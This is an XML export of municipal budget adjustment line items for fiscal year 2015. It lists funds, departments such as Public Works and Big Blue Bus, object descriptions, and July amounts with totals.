<row _id="16984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-453493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-453493.0</total></row>
<row _id="16985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561117.0</object><object_description>ST JOSEPH CENTER HPSHP-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8180.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8180.0</total></row>
<row _id="16986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-DISBLD (SMARS)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="16987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408540.0</object><object_description>MULTI MODAL TRAVEL &amp; PARKING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-625150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-625150.0</total></row>
<row _id="16988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1656.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1656.0</total></row>
<row _id="16989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1770.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1770.0</total></row>
<row _id="16990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="16991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>415.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>415.0</total></row>
<row _id="16992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522991.0</object><object_description>FREIGHT AND SHIPPING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="16993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12644.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12644.0</total></row>
<row _id="16994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18120.0</total></row>
<row _id="16995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200000.0</total></row>
<row _id="16996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544015.0</object><object_description>FIELD EQUIP &amp; TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="16997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402940.0</object><object_description>BEACH CONV FUEL STN REPL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-7500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7500.0</total></row>
<row _id="16998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1996.0</total></row>
<row _id="16999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>428.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>428.0</total></row>
<row _id="17000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>91835.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>91835.0</total></row>
<row _id="17001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>39439.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39439.0</total></row>
<row _id="17002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>578390.0</object><object_description>PROP A LOCAL  RETURN-TRANS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561119.0</object><object_description>OPCC SOJOURN - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="17004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-120153.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-120153.0</total></row>
<row _id="17005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408510.0</object><object_description>BIKE NETWORK LINK EXPO-METRO</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-1320234.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1320234.0</total></row>
<row _id="17006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408570.0</object><object_description>BIKESHARE AQMD GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-260000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-260000.0</total></row>
<row _id="17007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18946.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18946.0</total></row>
<row _id="17008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>287.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>287.0</total></row>
<row _id="17009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120.0</total></row>
<row _id="17010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="17011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>403110.0</object><object_description>TDA ARTICLE III</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-135120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-135120.0</total></row>
<row _id="17013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3451.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3451.0</total></row>
<row _id="17014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38898.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38898.0</total></row>
<row _id="17015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>223839.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>223839.0</total></row>
<row _id="17016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>42933.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42933.0</total></row>
<row _id="17017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12685.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12685.0</total></row>
<row _id="17018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>175558.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>175558.0</total></row>
<row _id="17019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>273708.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>273708.0</total></row>
<row _id="17020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>286.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>286.0</total></row>
<row _id="17021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2021.0</total></row>
<row _id="17022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="17023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9000.0</total></row>
<row _id="17024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1205173.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1205173.0</total></row>
<row _id="17025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2850.0</total></row>
<row _id="17026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1506.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1506.0</total></row>
<row _id="17027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>51136.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51136.0</total></row>
<row _id="17028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26836.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26836.0</total></row>
<row _id="17029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-42512.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-42512.0</total></row>
<row _id="17030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6237.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6237.0</total></row>
<row _id="17031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>69847.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69847.0</total></row>
